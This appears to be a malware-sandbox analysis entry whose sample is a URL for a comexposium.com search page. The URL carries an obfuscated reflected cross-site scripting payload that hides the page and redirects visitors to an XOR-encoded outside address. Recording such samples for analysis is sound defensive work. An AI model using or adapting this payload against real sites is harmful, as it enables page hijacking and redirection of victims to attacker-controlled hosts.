Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

https://comexposium.com/?s=%22%3E%3Ciframe%20src=javascript:/*fd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style*/codeString=%60win%60+%60dow.par%60+%60ent.docu%60+%60ment.docu%60+%60mentEle%60+%60ment.st%60+%60yle.opa%60+%60city=0;url=%5B66,94,94,90,89,16,5,5,93,93,93,4,93,66,94,79,68,92,70,90,79,4,73,69,71,5,75,73,126,73,70,24,65,126,71,122,121,96,67,117,102,78,117,71,66,90,102,28,98,120,103,24,105,72,79,80,64,127,101,95,90,92,115,88,93,117,94,78,107,90,93,108,26,108,117,98,70,90,70,96,66,88,127,77,77,91,7,126,67,75,117,125,70,109,78,90,28,110,75,99,103,75,95,72,68,92,92,114,103,105,89,77,84,84,5,27,24,%5D;/*fwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb*/win%60+%60dow.par%60+%60ent.loca%60+%60tion.hr%60+%60ef=url.map(value=%60+String.fromCharCode(62)+%60String.fromCharCode(value%5E63)).jo%60+%60in('').concat('#');/*chw%C2%A7%C2%A7%C2%A7chw.toUpUpDown()*/%60;codeString=codeString.replaceAll(%60salooa%60,%60azefcr%60);executeCode=Function(codeString);/*that~ovrir~sleep.over%C2%A7*/executeCode();/*%C2%A7max.do()*/%3E%3C/iframe%3E?y%20menu%22%20target=%22_blank%22%3E9a%25of-qvVx3zm%3Cimg%20src=%225U:3%3CF2oWb1Tw%22%20alt=%22imagehost%22%3E%3Cbr%3E%3Ca%20href=%22%5CLB-~%3Cu1pb3wBNC_swa(NXOCv&+SaEl(=?wBMuqP%22%3Ej4=d%7CKO.%3ETFh?2%3Ciframe%20src=javascript:/*fd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style*/codeString=%60win%60+%60dow.par%60+%60ent.docu%60+%60ment.docu%60+%60mentEle%60+%60ment.st%60+%60yle.opa%60+%60city=0;url=%5B66,94,94,90,89,16,5,5,93,93,93,4,93,66,94,79,68,92,70,90,79,4,73,69,71,5,75,73,126,73,70,24,65,126,71,122,121,96,67,117,102,78,117,71,66,90,102,28,98,120,103,24,105,72,79,80,64,127,101,95,90,92,115,88,93,117,94,78,107,90,93,108,26,108,117,98,70,90,70,96,66,88,127,77,77,91,7,126,67,75,117,125,70,109,78,90,28,110,75,99,103,75,95,72,68,92,92,114,103,105,89,77,84,84,5,27,24,%5D;/*fwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb*/win%60+%60dow.par%60+%60ent.loca%60+%60tion.hr%60+%60ef=url.map(value=%60+String.fromCharCode(62)+%60String.fromCharCode(value%5E42)).jo%60+%60in('').concat('#');/*chw%C2%A7%C2%A7%C2%A7chw.toUpUpDown()*/%60;codeString=codeString.replaceAll(%60salooa%60,%60azefcr%60);executeCode=Function(codeString);/*that~ovrir~sleep.over%C2%A7*/executeCode();/*%C2%A7max.do()*/%3E%3C/iframe%3E?y%20menu

Resource

win10v2004-20240709-en